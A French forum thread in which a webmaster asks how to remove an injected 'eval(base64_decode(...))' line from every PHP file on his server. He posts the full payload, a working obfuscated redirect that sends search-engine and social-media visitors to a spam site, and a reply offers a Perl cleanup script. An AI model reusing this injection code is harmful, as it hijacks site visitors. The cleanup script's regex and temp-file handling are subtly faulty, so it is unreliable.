Rechercher / Remplacer plusieurs fichiers linux
sluminure
-
loupius Messages postés 789 Statut Membre -
loupius Messages postés 789 Statut Membre -
Bonjour,
Depuis deux semaines, j'ai un grave probleme sur un de mes serveurs.
En effet, tout les fichiers phpde mes sites hebergés dessus ont une ligne inserés automatiquement à chaque appel php.
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29nbGUuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));
//le code php normale.
?>
Il s'agit de base64 et en fait il semble s'agir d'une sorte de virus PHP qui redirige certains visiteurs sur un site de spam etc...
LA question c'est comment reussi t-il à s'intégrer dans tous les fichiers ?
J'ai modifié mes mdp ssh, cela ne semble pas venir des acces ftp(en regardant les logs) et cela concerne tous les fichiers php sur le serveur..
Je n'arrive pas à savoir d'ou cela vient.
Le truc c'est que j'ai modifié une fois les fichiers en enlevant la chaine mais aujourd'hui il a remis le code.. je ne sais pas comment.
Bon du coup, j'aimerais bien trouver un script en ligne de commande qui me permette de remplacer cette grand chaine la qui a plein de caractere bizarre par rien.
Avez-vous une suggestion ?
En vous remerciant,
Anselme
Depuis deux semaines, j'ai un grave probleme sur un de mes serveurs.
En effet, tout les fichiers phpde mes sites hebergés dessus ont une ligne inserés automatiquement à chaque appel php.
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29nbGUuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));
//le code php normale.
?>
Il s'agit de base64 et en fait il semble s'agir d'une sorte de virus PHP qui redirige certains visiteurs sur un site de spam etc...
LA question c'est comment reussi t-il à s'intégrer dans tous les fichiers ?
J'ai modifié mes mdp ssh, cela ne semble pas venir des acces ftp(en regardant les logs) et cela concerne tous les fichiers php sur le serveur..
Je n'arrive pas à savoir d'ou cela vient.
Le truc c'est que j'ai modifié une fois les fichiers en enlevant la chaine mais aujourd'hui il a remis le code.. je ne sais pas comment.
Bon du coup, j'aimerais bien trouver un script en ligne de commande qui me permette de remplacer cette grand chaine la qui a plein de caractere bizarre par rien.
Avez-vous une suggestion ?
En vous remerciant,
Anselme
1 réponse
-
Voici un script en Perl qui supprime tes 'eval(base64_decode' de tous les fichiers '.php' du répertoire courant; toutefois il ne faut pas qu'il y ait des 'eval(base64_decode' à ne pas supprimer:
#!/usr/bin/perl -w use strict; my ($fich, $hand, $flag); opendir ($hand, ".") || die "impossible d'ouvrir ".": $!"; while ($fich = readdir $hand) { if ( (-f "$fich") && (-T "$fich") && (-w "$fich") ) { if ($fich=~m/\.php$/) { if (open (FLect, "$fich") && open (FEcrt, ">${fich}tmp")) { $flag = 0; while (<FLect>) { $flag = 1 if (/eval\(.*?\)/); s/eval\(.*?\)//g; print FEcrt; } close (FLect); close (FEcrt); if ($flag) { # La recherche a abouti -> Renommer le nouveau fichier unlink "$fich"; rename "${fich}tmp", "$fich"; } else { # La recherche n'a pas abouti -> Effacer nouveau fichier unlink "${fich}zzz"; } } } } } close ($hand);Je ne suis pas très balaise en Perl; on peut, sans aucun doute faire beaucoup plus simple.
Bonne continuation